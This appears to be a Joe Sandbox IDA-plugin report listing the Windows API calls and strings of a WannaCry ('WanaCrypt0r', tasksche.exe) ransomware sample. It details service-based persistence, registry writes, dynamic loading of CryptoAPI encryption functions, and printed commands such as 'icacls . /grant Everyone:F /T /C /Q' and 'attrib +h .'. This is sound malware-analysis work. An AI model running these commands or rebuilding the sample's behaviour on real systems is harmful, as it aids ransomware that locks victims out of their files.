Part of subcall function 00401B5F: swprintf.MSVCRT(?,%s\ProgramData,?), ref: 00401C04
Part of subcall function 00401B5F: GetFileAttributesW.KERNEL32(?), ref: 00401C10
Part of subcall function 00401B5F: swprintf.MSVCRT(?,%s\Intel,?), ref: 00401C53
Part of subcall function 00401B5F: GetTempPathW.KERNEL32(00000104,?), ref: 00401C97
Part of subcall function 00401B5F: wcsrchr.MSVCRT ref: 00401CAC
Part of subcall function 00401B5F: wcsrchr.MSVCRT ref: 00401CBD

CopyFileA.KERNEL32(?,tasksche.exe,00000000), ref: 0040206F
GetFileAttributesA.KERNEL32(tasksche.exe,?,00000000), ref: 00402076

Part of subcall function 00401F5D: GetFullPathNameA.KERNEL32(tasksche.exe,00000208,?,00000000,?), ref: 00401F97

strrchr.MSVCRT ref: 0040209D
strrchr.MSVCRT ref: 004020AE
SetCurrentDirectoryA.KERNEL32(?,00000000), ref: 004020BB

Part of subcall function 004010FD: wcscat.MSVCRT ref: 0040114B
Part of subcall function 004010FD: RegCreateKeyW.ADVAPI32(80000001,?,00000000), ref: 0040117A
Part of subcall function 004010FD: GetCurrentDirectoryA.KERNEL32(00000207,?), ref: 0040119A
Part of subcall function 004010FD: strlen.MSVCRT ref: 004011A7
Part of subcall function 004010FD: RegSetValueExA.ADVAPI32(00000000,0040E030,00000000,00000001,?,00000001), ref: 004011BD
Part of subcall function 004010FD: RegQueryValueExA.ADVAPI32(00000000,0040E030,00000000,00000000,?,?), ref: 004011E4
Part of subcall function 004010FD: SetCurrentDirectoryA.KERNEL32(?), ref: 004011FA
Part of subcall function 004010FD: RegCloseKey.ADVAPI32(00000000), ref: 00401203

Part of subcall function 00401DAB: FindResourceA.KERNEL32(00000000,0000080A,XIA), ref: 00401DC3
Part of subcall function 00401DAB: LoadResource.KERNEL32(00000000,00000000), ref: 00401DD3
Part of subcall function 00401DAB: LockResource.KERNEL32(00000000), ref: 00401DDE
Part of subcall function 00401DAB: SizeofResource.KERNEL32(00000000,00000000,004020D5), ref: 00401DF1
Part of subcall function 00401DAB: strcmp.MSVCRT ref: 00401E5B
Part of subcall function 00401DAB: GetFileAttributesA.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 00401E6E

Part of subcall function 00401E9E: rand.MSVCRT ref: 00401ED0
Part of subcall function 00401E9E: strcpy.MSVCRT(?,0040F488), ref: 00401EE7

Part of subcall function 00401064: CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,08000000,00000000,00000000,00000044,00000000), ref: 004010A8
Part of subcall function 00401064: WaitForSingleObject.KERNEL32(00000000,00000000), ref: 004010BD
Part of subcall function 00401064: TerminateProcess.KERNEL32(00000000,000000FF), ref: 004010CC
Part of subcall function 00401064: GetExitCodeProcess.KERNEL32(00000000,00000000), ref: 004010DD
Part of subcall function 00401064: CloseHandle.KERNEL32(00000000), ref: 004010EC
Part of subcall function 00401064: CloseHandle.KERNEL32(00000000), ref: 004010F1

Part of subcall function 0040170A: LoadLibraryA.KERNEL32(kernel32.dll), ref: 0040172C
Part of subcall function 0040170A: GetProcAddress.KERNEL32(00000000,CreateFileW,768DDBAE), ref: 00401749
Part of subcall function 0040170A: GetProcAddress.KERNEL32(00000000,WriteFile), ref: 00401756
Part of subcall function 0040170A: GetProcAddress.KERNEL32(00000000,ReadFile), ref: 00401763
Part of subcall function 0040170A: GetProcAddress.KERNEL32(00000000,MoveFileW), ref: 00401770
Part of subcall function 0040170A: GetProcAddress.KERNEL32(00000000,MoveFileExW), ref: 0040177D
Part of subcall function 0040170A: GetProcAddress.KERNEL32(00000000,DeleteFileW), ref: 0040178A
Part of subcall function 0040170A: GetProcAddress.KERNEL32(00000000,CloseHandle), ref: 00401797

Part of subcall function 004012FD: __EH_prolog.LIBCMT ref: 00401302

Part of subcall function 00401437: GlobalAlloc.KERNEL32(00000000,00100000,00402117,?,768DDBAE,00000000,00402117,00000000,00000000,00000000), ref: 0040146A
Part of subcall function 00401437: GlobalAlloc.KERNEL32(00000000,00100000), ref: 00401479

Part of subcall function 0040137A: __EH_prolog.LIBCMT ref: 0040137F

Part of subcall function 004014A6: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040150D
Part of subcall function 004014A6: GetFileSizeEx.KERNEL32(00000000,004081E0), ref: 00401529
Part of subcall function 004014A6: memcmp.MSVCRT ref: 00401572
Part of subcall function 004014A6: GlobalAlloc.KERNEL32(00000000,?,?,0000000A,00000010,?,768DDBAE,?,0000000A), ref: 0040166D
Part of subcall function 004014A6: _local_unwind2.MSVCRT ref: 004016D6

Part of subcall function 00402924: _stricmp.MSVCRT(00000000,?,?,768DDBAE,00000000,0000000A,?,00402150,00000000,TaskStart,t.wnry,0000000A,00000000,00000000,00000000), ref: 00402989
Part of subcall function 00402924: SetLastError.KERNEL32(0000007F,?,768DDBAE,00000000,0000000A,?,00402150,00000000,TaskStart,t.wnry,0000000A,00000000,00000000,00000000), ref: 004029A7

Strings

TaskStart, xrefs: 00402145
icacls . /grant Everyone:F /T /C /Q, xrefs: 004020E8
tasksche.exe, xrefs: 00402061, 0040206D, 00402075
ywepvofkuzu108, xrefs: 00402025
attrib +h ., xrefs: 004020DC
t.wnry, xrefs: 00402125

Memory Dump Source

Source File: 00000003.00000002.1685661268.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1685653102.00400000.00000002.sdmp
Associated: 00000003.00000002.1685669608.00408000.00000002.sdmp
Associated: 00000003.00000002.1685678312.0040E000.00000008.sdmp
Associated: 00000003.00000002.1685686260.0040F000.00000004.sdmp
Associated: 00000003.00000002.1685693121.00410000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_tasksche.jbxd

Function 00401B5F, Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 123

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,ywepvofkuzu108,000000FF,?,00000063,?), ref: 00401BCA
GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00401BDD
swprintf.MSVCRT(?,%s\ProgramData,?), ref: 00401C04
GetFileAttributesW.KERNEL32(?), ref: 00401C10
swprintf.MSVCRT(?,%s\Intel,?), ref: 00401C53

Part of subcall function 00401AF6: CreateDirectoryW.KERNELBASE(?,00000000,768FE87C,00000104,00000000,?,00401C6B,?,?,?), ref: 00401B07
Part of subcall function 00401AF6: SetCurrentDirectoryW.KERNELBASE(?,?,00401C6B,?,?,?), ref: 00401B12
Part of subcall function 00401AF6: CreateDirectoryW.KERNELBASE(?,00000000,?,00401C6B,?,?,?), ref: 00401B1E
Part of subcall function 00401AF6: SetCurrentDirectoryW.KERNELBASE(?,?,00401C6B,?,?,?), ref: 00401B21
Part of subcall function 00401AF6: GetFileAttributesW.KERNEL32(?,?,00401C6B,?,?,?), ref: 00401B2C
Part of subcall function 00401AF6: SetFileAttributesW.KERNELBASE(?,00000000,?,00401C6B,?,?,?), ref: 00401B36
Part of subcall function 00401AF6: swprintf.MSVCRT(00000000,%s\%s,?,?), ref: 00401B4E

GetTempPathW.KERNEL32(00000104,?), ref: 00401C97
wcsrchr.MSVCRT ref: 00401CAC
wcsrchr.MSVCRT ref: 00401CBD

Strings

%s\Intel, xrefs: 00401C4D
%s\ProgramData, xrefs: 00401BFE
ywepvofkuzu108, xrefs: 00401BC1

Memory Dump Source

Source File: 00000003.00000002.1685661268.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1685653102.00400000.00000002.sdmp
Associated: 00000003.00000002.1685669608.00408000.00000002.sdmp
Associated: 00000003.00000002.1685678312.0040E000.00000008.sdmp
Associated: 00000003.00000002.1685686260.0040F000.00000004.sdmp
Associated: 00000003.00000002.1685693121.00410000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_tasksche.jbxd

Function 004077BA, Relevance: 16.6, APIs: 11, Instructions: 111

APIs

__set_app_type.MSVCRT ref: 004077E7
__p__fmode.MSVCRT ref: 004077FC
__p__commode.MSVCRT ref: 0040780A
__setusermatherr.MSVCRT ref: 00407836

Part of subcall function 0040792A: _controlfp.MSVCRT ref: 00407934

_initterm.MSVCRT ref: 0040784C
__getmainargs.MSVCRT ref: 0040786F
_initterm.MSVCRT ref: 0040787F
GetStartupInfoA.KERNEL32(?), ref: 004078BE
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 004078E2

Part of subcall function 00401FE7: GetModuleFileNameA.KERNEL32(00000000,?,00000208,?,?,00000000), ref: 0040201F
Part of subcall function 00401FE7: __p___argc.MSVCRT ref: 00402030
Part of subcall function 00401FE7: __p___argv.MSVCRT ref: 00402040
Part of subcall function 00401FE7: strcmp.MSVCRT ref: 0040204B
Part of subcall function 00401FE7: CopyFileA.KERNEL32(?,tasksche.exe,00000000), ref: 0040206F
Part of subcall function 00401FE7: GetFileAttributesA.KERNEL32(tasksche.exe,?,00000000), ref: 00402076
Part of subcall function 00401FE7: strrchr.MSVCRT ref: 0040209D
Part of subcall function 00401FE7: strrchr.MSVCRT ref: 004020AE
Part of subcall function 00401FE7: SetCurrentDirectoryA.KERNEL32(?,00000000), ref: 004020BB

exit.MSVCRT ref: 004078F2
_XcptFilter.MSVCRT ref: 00407904

Memory Dump Source

Source File: 00000003.00000002.1685661268.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1685653102.00400000.00000002.sdmp
Associated: 00000003.00000002.1685669608.00408000.00000002.sdmp
Associated: 00000003.00000002.1685678312.0040E000.00000008.sdmp
Associated: 00000003.00000002.1685686260.0040F000.00000004.sdmp
Associated: 00000003.00000002.1685693121.00410000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_tasksche.jbxd

Function 00401AF6, Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 45

APIs

CreateDirectoryW.KERNELBASE(?,00000000,768FE87C,00000104,00000000,?,00401C6B,?,?,?), ref: 00401B07
SetCurrentDirectoryW.KERNELBASE(?,?,00401C6B,?,?,?), ref: 00401B12
CreateDirectoryW.KERNELBASE(?,00000000,?,00401C6B,?,?,?), ref: 00401B1E
SetCurrentDirectoryW.KERNELBASE(?,?,00401C6B,?,?,?), ref: 00401B21
GetFileAttributesW.KERNEL32(?,?,00401C6B,?,?,?), ref: 00401B2C
SetFileAttributesW.KERNELBASE(?,00000000,?,00401C6B,?,?,?), ref: 00401B36
swprintf.MSVCRT(00000000,%s\%s,?,?), ref: 00401B4E

Strings

%s\%s, xrefs: 00401B46

Memory Dump Source

Source File: 00000003.00000002.1685661268.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1685653102.00400000.00000002.sdmp
Associated: 00000003.00000002.1685669608.00408000.00000002.sdmp
Associated: 00000003.00000002.1685678312.0040E000.00000008.sdmp
Associated: 00000003.00000002.1685686260.0040F000.00000004.sdmp
Associated: 00000003.00000002.1685693121.00410000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_tasksche.jbxd

Function 00401225, Relevance: 10.6, APIs: 7, Instructions: 87

APIs

GetComputerNameW.KERNEL32(?,0000018F), ref: 0040125F
wcslen.MSVCRT ref: 00401279
wcslen.MSVCRT ref: 00401298
srand.MSVCRT ref: 004012A1
rand.MSVCRT ref: 004012AE
rand.MSVCRT ref: 004012C0
rand.MSVCRT ref: 004012DD

Memory Dump Source

Source File: 00000003.00000002.1685661268.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1685653102.00400000.00000002.sdmp
Associated: 00000003.00000002.1685669608.00408000.00000002.sdmp
Associated: 00000003.00000002.1685678312.0040E000.00000008.sdmp
Associated: 00000003.00000002.1685686260.0040F000.00000004.sdmp
Associated: 00000003.00000002.1685693121.00410000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_tasksche.jbxd

Function 00401F5D, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 50

APIs

GetFullPathNameA.KERNEL32(tasksche.exe,00000208,?,00000000,?), ref: 00401F97

Part of subcall function 00401CE8: OpenSCManagerA.ADVAPI32(00000000,00000000,000F003F,?), ref: 00401CFE
Part of subcall function 00401CE8: OpenServiceA.ADVAPI32(00000000,ywepvofkuzu108,000F01FF,tasksche.exe,00000000), ref: 00401D21
Part of subcall function 00401CE8: StartServiceA.ADVAPI32(00000000,00000000,00000000), ref: 00401D31
Part of subcall function 00401CE8: CloseServiceHandle.ADVAPI32(?), ref: 00401D3A
Part of subcall function 00401CE8: sprintf.MSVCRT ref: 00401D54
Part of subcall function 00401CE8: CreateServiceA.ADVAPI32(?,ywepvofkuzu108,ywepvofkuzu108,000F01FF,00000010,00000002,00000001,?,00000000,00000000,00000000,00000000,00000000), ref: 00401D75
Part of subcall function 00401CE8: StartServiceA.ADVAPI32(00000000,00000000,00000000), ref: 00401D84
Part of subcall function 00401CE8: CloseServiceHandle.ADVAPI32(00000000), ref: 00401D8B
Part of subcall function 00401CE8: CloseServiceHandle.ADVAPI32(?), ref: 00401D9E

Part of subcall function 00401064: CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,08000000,00000000,00000000,00000044,00000000), ref: 004010A8
Part of subcall function 00401064: WaitForSingleObject.KERNEL32(00000000,00000000), ref: 004010BD
Part of subcall function 00401064: TerminateProcess.KERNEL32(00000000,000000FF), ref: 004010CC
Part of subcall function 00401064: GetExitCodeProcess.KERNEL32(00000000,00000000), ref: 004010DD
Part of subcall function 00401064: CloseHandle.KERNEL32(00000000), ref: 004010EC
Part of subcall function 00401064: CloseHandle.KERNEL32(00000000), ref: 004010F1

Part of subcall function 00401EFF: sprintf.MSVCRT ref: 00401F16
Part of subcall function 00401EFF: OpenMutexA.KERNEL32(00100000,00000001,?), ref: 00401F31
Part of subcall function 00401EFF: Sleep.KERNEL32(000003E8), ref: 00401F40
Part of subcall function 00401EFF: CloseHandle.KERNEL32(00000000), ref: 00401F52

Strings

tasksche.exe, xrefs: 00401F92

Memory Dump Source

Source File: 00000003.00000002.1685661268.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1685653102.00400000.00000002.sdmp
Associated: 00000003.00000002.1685669608.00408000.00000002.sdmp
Associated: 00000003.00000002.1685678312.0040E000.00000008.sdmp
Associated: 00000003.00000002.1685686260.0040F000.00000004.sdmp
Associated: 00000003.00000002.1685693121.00410000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_tasksche.jbxd

Non-executed Functions

Function 004029CC, Relevance: 3.8, APIs: 3, Instructions: 55

APIs

free.MSVCRT(?,?,00000000,00000000,0040243C,00000000), ref: 00402A15
GetProcessHeap.KERNEL32(00000000,00000000,00000000,00000000,0040243C,00000000), ref: 00402A36
HeapFree.KERNEL32(00000000), ref: 00402A3D

Memory Dump Source

Source File: 00000003.00000002.1685661268.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1685653102.00400000.00000002.sdmp
Associated: 00000003.00000002.1685669608.00408000.00000002.sdmp
Associated: 00000003.00000002.1685678312.0040E000.00000008.sdmp
Associated: 00000003.00000002.1685686260.0040F000.00000004.sdmp
Associated: 00000003.00000002.1685693121.00410000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_tasksche.jbxd

Function 00406C40, Relevance: 30.1, APIs: 13, Strings: 4, Instructions: 365

APIs

memcpy.MSVCRT ref: 00406C91

Part of subcall function 00405D0E: SetFilePointer.KERNEL32(000000FF,00000002,00000000,00000002,?,00405EF3,00000000), ref: 00405D4A

??2@YAPAXI@Z.MSVCRT ref: 00406D61

Part of subcall function 00405D8A: ReadFile.KERNEL32(3C7501F8,00000001,00000000,00000001,00000000), ref: 00405DAB
Part of subcall function 00405D8A: memcpy.MSVCRT ref: 00405DD9

??3@YAXPAX@Z.MSVCRT ref: 00406D83
strcpy.MSVCRT(?,?), ref: 00406DAB
_mbsstr.MSVCRT ref: 00406DDF
_mbsstr.MSVCRT ref: 00406DED
_mbsstr.MSVCRT ref: 00406DFB
_mbsstr.MSVCRT ref: 00406E09
strcpy.MSVCRT(00000103,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00406E1B

Part of subcall function 00406B23: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00406EE5,?,?), ref: 00406B80

LocalFileTimeToFileTime.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00406EF5
strcmp.MSVCRT ref: 00406F54
??3@YAXPAX@Z.MSVCRT ref: 0040703C
memcpy.MSVCRT ref: 0040704F

Part of subcall function 00406A97: free.MSVCRT(000000FF,?,?,?,00000000,?,00406C75,000000FF,?,00000000,00000000), ref: 00406AD8
Part of subcall function 00406A97: free.MSVCRT(?,?,?,?,00000000,?,00406C75,000000FF,?,00000000,00000000), ref: 00406AF2

Strings

/..\, xrefs: 00406E03
\..\, xrefs: 00406DD9
\../, xrefs: 00406DE7
/../, xrefs: 00406DF5

Memory Dump Source

Source File: 00000003.00000002.1685661268.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1685653102.00400000.00000002.sdmp
Associated: 00000003.00000002.1685669608.00408000.00000002.sdmp
Associated: 00000003.00000002.1685678312.0040E000.00000008.sdmp
Associated: 00000003.00000002.1685686260.0040F000.00000004.sdmp
Associated: 00000003.00000002.1685693121.00410000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_tasksche.jbxd

Function 0040170A, Relevance: 28.1, APIs: 8, Strings: 8, Instructions: 65

APIs

Part of subcall function 00401A45: LoadLibraryA.KERNEL32(advapi32.dll), ref: 00401A5A
Part of subcall function 00401A45: GetProcAddress.KERNEL32(00000000,CryptAcquireContextA,768DDBAE), ref: 00401A77
Part of subcall function 00401A45: GetProcAddress.KERNEL32(00000000,CryptImportKey), ref: 00401A84
Part of subcall function 00401A45: GetProcAddress.KERNEL32(00000000,CryptDestroyKey), ref: 00401A91
Part of subcall function 00401A45: GetProcAddress.KERNEL32(00000000,CryptEncrypt), ref: 00401A9E
Part of subcall function 00401A45: GetProcAddress.KERNEL32(00000000,CryptDecrypt), ref: 00401AAB
Part of subcall function 00401A45: GetProcAddress.KERNEL32(00000000,CryptGenKey), ref: 00401AB8

LoadLibraryA.KERNEL32(kernel32.dll), ref: 0040172C
GetProcAddress.KERNEL32(00000000,CreateFileW,768DDBAE), ref: 00401749
GetProcAddress.KERNEL32(00000000,WriteFile), ref: 00401756
GetProcAddress.KERNEL32(00000000,ReadFile), ref: 00401763
GetProcAddress.KERNEL32(00000000,MoveFileW), ref: 00401770
GetProcAddress.KERNEL32(00000000,MoveFileExW), ref: 0040177D
GetProcAddress.KERNEL32(00000000,DeleteFileW), ref: 0040178A
GetProcAddress.KERNEL32(00000000,CloseHandle), ref: 00401797

Strings

kernel32.dll, xrefs: 00401727
ReadFile, xrefs: 00401758
WriteFile, xrefs: 0040174B
CloseHandle, xrefs: 0040178C
MoveFileW, xrefs: 00401765
CreateFileW, xrefs: 00401743
DeleteFileW, xrefs: 0040177F
MoveFileExW, xrefs: 00401772

Memory Dump Source

Source File: 00000003.00000002.1685661268.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1685653102.00400000.00000002.sdmp
Associated: 00000003.00000002.1685669608.00408000.00000002.sdmp
Associated: 00000003.00000002.1685678312.0040E000.00000008.sdmp
Associated: 00000003.00000002.1685686260.0040F000.00000004.sdmp
Associated: 00000003.00000002.1685693121.00410000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_tasksche.jbxd

Function 00401A45, Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 56

APIs

LoadLibraryA.KERNEL32(advapi32.dll), ref: 00401A5A
GetProcAddress.KERNEL32(00000000,CryptAcquireContextA,768DDBAE), ref: 00401A77
GetProcAddress.KERNEL32(00000000,CryptImportKey), ref: 00401A84
GetProcAddress.KERNEL32(00000000,CryptDestroyKey), ref: 00401A91
GetProcAddress.KERNEL32(00000000,CryptEncrypt), ref: 00401A9E
GetProcAddress.KERNEL32(00000000,CryptDecrypt), ref: 00401AAB
GetProcAddress.KERNEL32(00000000,CryptGenKey), ref: 00401AB8

Strings

advapi32.dll, xrefs: 00401A55
CryptImportKey, xrefs: 00401A79
CryptDecrypt, xrefs: 00401AA0
CryptEncrypt, xrefs: 00401A93
CryptAcquireContextA, xrefs: 00401A71
CryptGenKey, xrefs: 00401AAD
CryptDestroyKey, xrefs: 00401A86

Memory Dump Source

Source File: 00000003.00000002.1685661268.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1685653102.00400000.00000002.sdmp
Associated: 00000003.00000002.1685669608.00408000.00000002.sdmp
Associated: 00000003.00000002.1685678312.0040E000.00000008.sdmp
Associated: 00000003.00000002.1685686260.0040F000.00000004.sdmp
Associated: 00000003.00000002.1685693121.00410000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_tasksche.jbxd

Function 00407136, Relevance: 21.3, APIs: 8, Strings: 4, Instructions: 272

APIs

Part of subcall function 0040671D: malloc.MSVCRT ref: 00406766
Part of subcall function 0040671D: malloc.MSVCRT ref: 00406778
Part of subcall function 0040671D: free.MSVCRT(00000000), ref: 00406795

Part of subcall function 00406A97: free.MSVCRT(000000FF,?,?,?,00000000,?,00406C75,000000FF,?,00000000,00000000), ref: 00406AD8
Part of subcall function 00406A97: free.MSVCRT(?,?,?,?,00000000,?,00406C75,000000FF,?,00000000,00000000), ref: 00406AF2

Part of subcall function 00406C40: memcpy.MSVCRT ref: 00406C91
Part of subcall function 00406C40: ??2@YAPAXI@Z.MSVCRT ref: 00406D61
Part of subcall function 00406C40: ??3@YAXPAX@Z.MSVCRT ref: 00406D83
Part of subcall function 00406C40: strcpy.MSVCRT(?,?), ref: 00406DAB
Part of subcall function 00406C40: _mbsstr.MSVCRT ref: 00406DDF
Part of subcall function 00406C40: _mbsstr.MSVCRT ref: 00406DED
Part of subcall function 00406C40: _mbsstr.MSVCRT ref: 00406DFB
Part of subcall function 00406C40: _mbsstr.MSVCRT ref: 00406E09
Part of subcall function 00406C40: strcpy.MSVCRT(00000103,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00406E1B
Part of subcall function 00406C40: LocalFileTimeToFileTime.KERNEL32(?,000000FF,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 00406EF5
Part of subcall function 00406C40: strcmp.MSVCRT ref: 00406F54
Part of subcall function 00406C40: ??3@YAXPAX@Z.MSVCRT ref: 0040703C
Part of subcall function 00406C40: memcpy.MSVCRT ref: 0040704F

strcpy.MSVCRT(?,00000000,?,?,00000000,00000000,00000000), ref: 004072CF
wsprintfA.USER32 ref: 004072FC
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000010,00000000), ref: 0040732B
wsprintfA.USER32 ref: 0040738F

Part of subcall function 00407070: GetFileAttributesA.KERNEL32(00000000,00000000,00000000), ref: 00407083
Part of subcall function 00407070: CreateDirectoryA.KERNEL32(00000000,00000000), ref: 00407091
Part of subcall function 00407070: memcpy.MSVCRT ref: 004070CA
Part of subcall function 00407070: strcpy.MSVCRT(00000000,00000000,00000000,00000000), ref: 004070FB
Part of subcall function 00407070: strcat.MSVCRT(00000000,004073A3,00000000,00000000), ref: 0040710A
Part of subcall function 00407070: GetFileAttributesA.KERNEL32(00000000,00000000,00000000), ref: 00407118
Part of subcall function 00407070: CreateDirectoryA.KERNEL32(00000000,00000000), ref: 0040712C

??2@YAPAXI@Z.MSVCRT ref: 004073C9
WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 0040740B
SetFileTime.KERNEL32(00000000,?,?,?), ref: 00407454
CloseHandle.KERNEL32(00000000), ref: 00407463

Strings

\, xrefs: 00407358
%s%s, xrefs: 00407389
%s%s%s, xrefs: 004072F6
:, xrefs: 0040736E

Memory Dump Source

Source File: 00000003.00000002.1685661268.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1685653102.00400000.00000002.sdmp
Associated: 00000003.00000002.1685669608.00408000.00000002.sdmp
Associated: 00000003.00000002.1685678312.0040E000.00000008.sdmp
Associated: 00000003.00000002.1685686260.0040F000.00000004.sdmp
Associated: 00000003.00000002.1685693121.00410000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_tasksche.jbxd

Function 004010FD, Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 100

APIs

wcscat.MSVCRT ref: 0040114B
RegCreateKeyW.ADVAPI32(80000001,?,00000000), ref: 0040117A
GetCurrentDirectoryA.KERNEL32(00000207,?), ref: 0040119A
strlen.MSVCRT ref: 004011A7
RegSetValueExA.ADVAPI32(00000000,0040E030,00000000,00000001,?,00000001), ref: 004011BD
RegQueryValueExA.ADVAPI32(00000000,0040E030,00000000,00000000,?,?), ref: 004011E4
SetCurrentDirectoryA.KERNEL32(?), ref: 004011FA
RegCloseKey.ADVAPI32(00000000), ref: 00401203

Strings

WanaCrypt0r, xrefs: 00401145
Software\, xrefs: 0040110A
0@, xrefs: 00401157

Memory Dump Source

Source File: 00000003.00000002.1685661268.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1685653102.00400000.00000002.sdmp
Associated: 00000003.00000002.1685669608.00408000.00000002.sdmp
Associated: 00000003.00000002.1685678312.0040E000.00000008.sdmp
Associated: 00000003.00000002.1685686260.0040F000.00000004.sdmp
Associated: 00000003.00000002.1685693121.00410000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_tasksche.jbxd

Function 00402A76, Relevance: 16.1, APIs: 8, Strings: 1, Instructions: 334

APIs

??0exception@@QAE@ABQBD@Z.MSVCRT(768DDBAE), ref: 00402A95
_CxxThrowException.MSVCRT(?,0040D570), ref: 00402AA4
??0exception@@QAE@ABQBD@Z.MSVCRT(768DDBAE), ref: 00402ACD
_CxxThrowException.MSVCRT(?,0040D570), ref: 00402ADC
??0exception@@QAE@ABQBD@Z.MSVCRT(768DDBAE), ref: 00402AFF
_CxxThrowException.MSVCRT(?,0040D570), ref: 00402B0E
memcpy.MSVCRT ref: 00402B2A
memcpy.MSVCRT ref: 00402B3F

Strings

, xrefs: 00402E64

Memory Dump Source

Source File: 00000003.00000002.1685661268.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1685653102.00400000.00000002.sdmp
Associated: 00000003.00000002.1685669608.00408000.00000002.sdmp
Associated: 00000003.00000002.1685678312.0040E000.00000008.sdmp
Associated: 00000003.00000002.1685686260.0040F000.00000004.sdmp
Associated: 00000003.00000002.1685693121.00410000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_tasksche.jbxd

Function 004021E9, Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 233

APIs

Part of subcall function 00402457: SetLastError.KERNEL32(0000000D,00402200,?,00000040,?,768DDBAE,00000000), ref: 00402463

SetLastError.KERNEL32(000000C1,?,768DDBAE,00000000), ref: 00402219
GetModuleHandleA.KERNEL32(kernel32.dll,?,768DDBAE,00000000), ref: 00402291
GetProcessHeap.KERNEL32(00000008,0000003C), ref: 00402313
HeapAlloc.KERNEL32(00000000), ref: 0040231A
memcpy.MSVCRT ref: 004023A7

Part of subcall function 00402470: memset.MSVCRT ref: 004024D5
Part of subcall function 00402470: memcpy.MSVCRT ref: 0040251F

Part of subcall function 004027DF: IsBadReadPtr.KERNEL32(00000000,00000014,00000000,00000001,00000000,?!@,004023F5,00000000), ref: 00402812
Part of subcall function 004027DF: realloc.MSVCRT ref: 00402854
Part of subcall function 004027DF: IsBadReadPtr.KERNEL32(-00000014,00000014), ref: 004028DC
Part of subcall function 004027DF: SetLastError.KERNEL32(0000007E), ref: 004028FD
Part of subcall function 004027DF: SetLastError.KERNEL32(0000007F), ref: 00402916

SetLastError.KERNEL32(0000045A), ref: 00402430

Part of subcall function 004029CC: free.MSVCRT(?,?,00000000,00000000,0040243C,00000000), ref: 00402A15
Part of subcall function 004029CC: GetProcessHeap.KERNEL32(00000000,00000000,00000000,00000000,0040243C,00000000), ref: 00402A36
Part of subcall function 004029CC: HeapFree.KERNEL32(00000000), ref: 00402A3D

Strings

kernel32.dll, xrefs: 0040228C
GetNativeSystemInfo, xrefs: 004022A1

Memory Dump Source

Source File: 00000003.00000002.1685661268.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1685653102.00400000.00000002.sdmp
Associated: 00000003.00000002.1685669608.00408000.00000002.sdmp
Associated: 00000003.00000002.1685678312.0040E000.00000008.sdmp
Associated: 00000003.00000002.1685686260.0040F000.00000004.sdmp
Associated: 00000003.00000002.1685693121.00410000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_tasksche.jbxd

Function 00401DAB, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 88

APIs

FindResourceA.KERNEL32(00000000,0000080A,XIA), ref: 00401DC3
LoadResource.KERNEL32(00000000,00000000), ref: 00401DD3
LockResource.KERNEL32(00000000), ref: 00401DDE
SizeofResource.KERNEL32(00000000,00000000,004020D5), ref: 00401DF1
strcmp.MSVCRT ref: 00401E5B
GetFileAttributesA.KERNEL32(?,?,?,?,?,?,?,?,00000000), ref: 00401E6E

Part of subcall function 00407656: ??3@YAXPAX@Z.MSVCRT ref: 00407693
